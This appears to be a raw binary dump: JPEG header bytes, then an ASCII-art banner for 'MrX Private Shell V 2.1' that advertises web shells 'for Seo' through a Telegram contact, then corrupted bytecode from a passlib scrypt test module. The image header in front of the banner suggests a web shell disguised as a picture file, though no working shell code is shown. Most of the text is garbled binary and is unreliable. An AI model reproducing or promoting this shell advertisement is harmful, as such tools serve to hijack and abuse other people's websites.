����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
f�Wch � @ s^ d Z ddlmZ ddlZddlZe�e�ZddlZddl Z e �
dd� ddlmZ ddl
mZ ddlmZmZmZ dd lmZ dd
lmZmZmZmZ ddlmZ g d�Zd
d� Zd&dd�Zdd� Z G dd� de�Z!G dd� de�Z"dd� Z#e#� Z$dd� Z%e%� Z&ee�pedd�d�G dd� de"��Z'ee$d �G d!d"� d"e"��Z(ee&d#�G d$d%� d%e"��Z)dS )'ztests for passlib.utils.scrypt� )�hexlifyN�ignorez .*using builtin scrypt backend.*)�exc)�getrandbytes)�PYPY�u�
bascii_to_str)�
classproperty)�TestCase�
skipUnless� TEST_MODE�hb��scrypt)�ScryptEngineTest�BuiltinScryptTestZFastScryptTestc C s t t| ��S )zreturn bytes as hex str)r r )�data� r �D/usr/lib/python3.9/site-packages/passlib/tests/test_crypto_scrypt.py�hexstr s r c C s0 t | �d }|du s ||ks J �t�d| | �S )z%unpack bytes as list of uint32 values� Nz<%dI)�len�struct�unpack)r Zcheck_count�countr r r �unpack_uint32_list# s r c C s\ t | d�r| �d�} d}d}t|�|k rP|t�| t�d|� ��� 7 }|d7 }q|d|� S )zr
generate random reference bytes from specified seed.
used to generate some predictable test vectors.
�encode�ascii� r z<I� N)�hasattrr r �hashlibZsha256r �pack�digest)Zseedr �buf�ir r r �
seed_bytes) s
r&